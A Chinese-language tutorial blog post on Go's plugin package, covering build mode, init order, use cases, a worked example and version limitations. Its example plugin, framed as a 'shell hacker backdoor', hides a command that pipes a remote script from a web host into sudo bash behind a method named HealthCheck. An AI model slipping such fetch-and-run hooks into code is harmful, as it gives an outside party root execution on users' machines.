1. Go plugin是什么
Go 1.8版本开始提供了一个创建共享库的新工具,称为 Plugins.
A plugin is a Go main package with exported functions and variables that has been built with:
go build -buildmode=plugin
Plugin插件是包含可导出(可访问)的function和变量的。
main package
编译(go build -buildmode=plugin
)之后的文件.
同时官方文档也提示了:Currently plugins are only supported on Linux and macOS .它目前支持Linux和Mac操作系统(不支持windows)
官方文档地址
2. Go plugin生命周期
When a plugin is first opened, the init functions of all packages not already part of the program are called. The main function is not run. A plugin is only initialized once, and cannot be closed.
plugin插件被打开加载 plugin.Open("***.so")
,插件的init
初始化函数才开始执行. 也就是说main函数执行前plugin的init函数是不会执行的. 插件只被初始化一次,不能被关闭.
使用plugin的main.go生命周期
main.go的init函数执行
开始执行main.go main函数
开始执行plugin.Open("***.so")
打开插件
插件开始执行内部的init
函数
3. Go plugin应用场景
1.通过plugin我们可以很方便的对于不同功能加载相应的模块并调用相关的模块;
2.针对不同语言(英文,汉语,德语……)加载不同的语言so文件,进行不同的输出;
3.编译出的文件给不同的编程语言用(如:c/java/python/lua等).
4.需要加密的核心算法,核心业务逻辑可以可以编译成plugin插件
5.黑客预留的后门backdoor可以使用plugin
6.函数集动态加载
4. Go plugin 示例
这个示例建展示一下两方面内容:
演示plugin插件的init
的执行顺序
演示怎么编写一个shell黑客后门
4.1 编写插件plugin代码
直接上代码libragen/felix/blob/master/plugin/plugin_bad_docter.go
packagemainimport("log""os/exec""time")funcinit(){log.Println("plugininitfunctioncalled")}typeBadNastyDoctorstringfunc(gBadNastyDoctor)HealthCheck()error{bs,err:=exec.Command("bash","-c","curl-s'https://tech.mojotv.cn/test.sh'|sudobash-s'arg000''arg001'").CombinedOutput()iferr!=nil{returnerr}log.Println("nowis",g)log.Println("shellhasexecuted->>>>>",string(bs))returnnil}//gobuild-buildmode=plugin-o=plugin_doctor.soplugin_bad_docter.go//exportedassymbolnamed"Doctor"varDoctor=BadNastyDoctor(time.Now().Format(time.RFC3339))
编写plugin插件要点
包名称必须是main
没有main函数
必须有可以导出(访问)的变量或者方法
编写完成之后使用编译plugin
pi@homePi:/data/felix/plugin$gobuild-buildmode=plugin-o=plugin_doctor.soplugin_bad_docter.gopi@homePi:/data/felix/plugin$ll总用量6300-rw-r--r--1pipi6129月62019plugin_bad_docter.go-rw-r--r--1pipi34936549月617:06plugin_doctor.so-rw-r--r--1pipi2749月616:37readme.mdpi@homePi:/data/felix/plugin$fileplugin_doctor.soplugin_doctor.so:ELF32-bitLSBsharedobject,ARM,EABI5version1(SYSV),dynamicallylinked,BuildID[sha1]=9034047846f679f66ff7ac50f73aa7baf90d5e5d,notstripped
4.2 使用plugin插件
使用加载plugin基本流程
加载编译好的插件 plugin.Open("./plugin_doctor.so")
(*.so文件路径相对与可执行文件的路径,可以是绝对路径)
寻找插件可到变量 plug.Lookup("Doctor")
,
TypeAssert: Symbol(interface{}) 转换成API的接口类型
执行API interface的方法
远程shell脚本内容
#!/usr/bin/envbash#--destination_deployecho"golangpluginremoteshell"$0$1$2
libragen/felix/blob/master/plugin/use_plugin_example.go
packagemainimport("fmt""log""os""plugin")typeGoodDoctorinterface{HealthCheck()error}funcinit(){log.Println("mainpackageinitfunctioncalled")}funcmain(){log.Println("mainfunctionstared")//loadmodule插件您也可以使用gohttp.Request从远程下载到本地,在加载做到动态的执行不同的功能//1.openthesofiletoloadthesymbolsplug,err:=plugin.Open("./plugin_doctor.so")iferr!=nil{fmt.Println(err)os.Exit(1)}log.Println("pluginopened")//2.lookupasymbol(anexportedfunctionorvariable)//inthiscase,variableGreeterdoc,err:=plug.Lookup("Doctor")iferr!=nil{fmt.Println(err)os.Exit(1)}//3.Assertthatloadedsymbolisofadesiredtype//inthiscaseinterfacetypeGoodDoctor(definedabove)doctor,ok:=doc.(GoodDoctor)if!ok{fmt.Println("unexpectedtypefrommodulesymbol")os.Exit(1)}//4.usethemoduleiferr:=doctor.HealthCheck();err!=nil{log.Println("useplugindoctorfailed,",err)}}
4.3 build plugin程序
pi@homePi:/data/felix/plugin$gobuilduse_plugin_example.gopi@homePi:/data/felix/plugin$ll总用量6300-rw-r--r--1pipi6129月617:08plugin_bad_docter.go-rw-r--r--1pipi34936549月617:06plugin_doctor.so-rw-r--r--1pipi2749月616:37readme.md-rwxr-xr-x1pipi29415039月617:15use_plugin_example-rw-r--r--1pipi10579月62019use_plugin_example.gopi@homePi:/data/felix/plugin$fileuse_plugin_exampleuse_plugin_example:ELF32-bitLSBexecutable,ARM,EABI5version1(SYSV),dynamicallylinked,interpreter/lib/ld-linux-armhf.so.3,forGNU/Linux3.2.0,BuildID[sha1]=fc60641527d9b030f9f4d5a477de300e9fb70541,notstripped
4.4 go run
pi@homePi:/data/felix/plugin$./use_plugin_example2019/09/0617:16:23mainpackageinitfunctioncalled2019/09/0617:16:23mainfunctionstared2019/09/0617:16:23plugininitfunctioncalled2019/09/0617:16:23pluginopened2019/09/0617:16:23nowis2019-09-06T17:16:23+08:002019/09/0617:16:23shellhasexecuted->>>>>golangpluginremoteshellbasharg000arg001
5.Go语言plugin局限和不足
Go plugin 还不是一个成熟的解决方案.它迫使您的插件实现与主应用程序产生高度耦合.即使您可以控制插件和主应用程序, 最终结果也非常脆弱且难以维护.如果插件的作者对主应用程序没有任何控制权,开销会更高.
5.1 Go版本兼容问题
插件实现和主应用程序都必须使用完全相同的Go工具链版本构建. 由于插件提供的代码将与主代码在相同的进程空间中运行, 因此编译的二进制文件应与主应用程序 100%兼容.
6. 总结
我希望您记下的关键要点:
1.Go插件从v1.8版本开始支持,它目前支持Linux和Mac操作系统(不支持windows)
2.Go plugin包提供了一个简单的函数集动态加载,可以帮助开发人员编写可扩展的代码.
3.Go插件是使用go build -buildmode = plugin
构建标志编译
4.Go插件包中的导出函数和公开变量,可以使用插件包在运行时查找并绑定调用.
5.Go runtime import插件的开发人员必须将插件视为黑盒子,做好各种最坏的假设
代码和资料
示例代码
官方标准库文档